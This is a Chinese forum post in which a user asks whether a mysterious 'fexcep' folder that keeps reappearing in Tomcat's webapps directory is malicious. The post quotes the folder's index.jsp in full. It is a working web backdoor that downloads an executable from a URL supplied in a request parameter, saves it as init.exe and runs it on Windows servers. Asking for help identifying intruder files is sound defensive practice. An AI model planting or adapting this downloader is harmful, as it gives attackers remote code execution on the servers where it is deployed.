在Tomcat的webapps文件夹中的陌生项目
这几天一直在Tomcat的webapps文件夹中出现一个叫做fexcep的文件夹,包括文件:index.jsp、ok.jsp、init.exe,在使用MyEclipse的过程中日志就报出这个项目活动的样子,我尝试重新安装Tomcat还是出现这个文件夹,我无法判断是否是病毒之类的恶意文件?请各位指点
index.jsp文件内容
-----------------
<%@ page language="java" pageEncoding="utf-8" import="java.io.*,java.net.*,java.security.*,javax.crypto.*"%>
<%!
String sys=null;
public class AutoKill {
private boolean downFile(String url,String filesrc)
{
try
{
URL urlc = new URL(url);
HttpURLConnection con = (HttpURLConnection)urlc.openConnection();
con.connect();
byte[] b=new byte[1024];
BufferedInputStream bis=new BufferedInputStream(con.getInputStream());
FileOutputStream fos=new FileOutputStream(filesrc);
int length=-1;
while((length=bis.read(b,0,b.length))!=-1)
{
fos.write(b,0,length);
}
fos.close();
bis.close();
return true;
}catch(Exception e)
{
e.printStackTrace();
}
return false;
}
}
%>
<%
sys=System.getProperty("os.name");
int i=sys.indexOf("Windows");
AutoKill ak=new AutoKill();
if(i>-1)
{
String result;
try
{
String url=request.getParameter("userurl");
System.out.println(url);
String filesrc=request.getSession().getServletContext().getRealPath("")+"/init.exe";
if (ak.downFile(url,filesrc) )
{
Process run_proc=Runtime.getRuntime().exec(filesrc);
result="Success! ";
}
else
{
result="Failure! Down File Failure!";
}
}catch(Exception e)
{
result="Failure!throws Exception - "+e.getMessage()+"! ";
}
request.setAttribute("result",result);
}
else
{
request.setAttribute("result","Failure!Because Remote computer system is "+sys+"!");
}
request.getRequestDispatcher("/ok.jsp").forward(request, response);
%>
.jsp文件内容
-----------------
<%@ page language="java" pageEncoding="utf-8"%><%= request.getAttribute("result")%>